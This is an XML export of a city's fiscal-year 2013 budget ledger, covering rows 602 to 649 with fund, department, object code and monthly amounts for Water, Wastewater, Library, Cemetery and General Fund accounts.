<row _id="602"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3588.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3588.0</total></row>
<row _id="603"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11589.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11589.0</total></row>
<row _id="604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>447165.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>447165.0</total></row>
<row _id="606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>483352</may><june>0.0</june><total>883352.0</total></row>
<row _id="607"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1961870.17</july><august>0</august><september>51049.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1370805</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>642114.17</total></row>
<row _id="608"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566940.0</object><object_description>PARKING AUTHORITY REV BOND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1133116.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1133116.0</total></row>
<row _id="610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-2395940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2395940.0</total></row>
<row _id="611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402350.0</object><object_description>WATER - MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-249128.0</july><august>0</august><september>-60000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-309128.0</total></row>
<row _id="612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402440.0</object><object_description>DAMAGE REPAIR WORK</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-77000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-77000.0</total></row>
<row _id="614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401330.0</object><object_description>MALL / DOWNTOWN MAINT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-16000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16000.0</total></row>
<row _id="615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401030.0</object><object_description>HAZ MAT RESPONSE RECOVERY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405060.0</object><object_description>ENGINEERING COUNTER SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-6435.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6435.0</total></row>
<row _id="617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14000.0</total></row>
<row _id="618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>44880.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44880.0</total></row>
<row _id="619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8615.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8615.0</total></row>
<row _id="621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>566450.0</object><object_description>SEWAGE PUMP PLANT MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>376131.34</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>376131.34</total></row>
<row _id="622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>566630.0</object><object_description>STORM DRAIN MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>208602.85</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>208602.85</total></row>
<row _id="623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FUND REIMB FROM PIER FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-186529.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-186529.0</total></row>
<row _id="624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75.0</total></row>
<row _id="626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>104000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104000.0</total></row>
<row _id="627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>84090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>84090.0</total></row>
<row _id="628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555050.0</object><object_description>BOOK BINDING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>110975.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1110</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112085.0</total></row>
<row _id="630"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18228.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18228.0</total></row>
<row _id="631"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7200.0</total></row>
<row _id="632"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2300000.0</total></row>
<row _id="633"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533180.0</object><object_description>TRANSFER STATION OPERATIONS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="634"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1595.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1595.0</total></row>
<row _id="635"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="636"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>65000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="637"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>37015.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>370</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37385.0</total></row>
<row _id="638"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>102000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102000.0</total></row>
<row _id="639"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511710.0</object><object_description>MEDICARE EMPLOYER CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="640"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9500.0</total></row>
<row _id="641"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>51250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51250.0</total></row>
<row _id="642"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>226556.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>226556.0</total></row>
<row _id="643"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2531.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>25</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2556.0</total></row>
<row _id="644"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>555300.0</object><object_description>LIBRARY BOND DEBT SERVICE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1534980.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1534980.0</total></row>
<row _id="645"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-226625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-226625.0</total></row>
<row _id="646"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>54808.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>54808.0</total></row>
<row _id="647"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="648"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>298.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>298.0</total></row>
<row _id="649"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>59900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>59900.0</total></row>
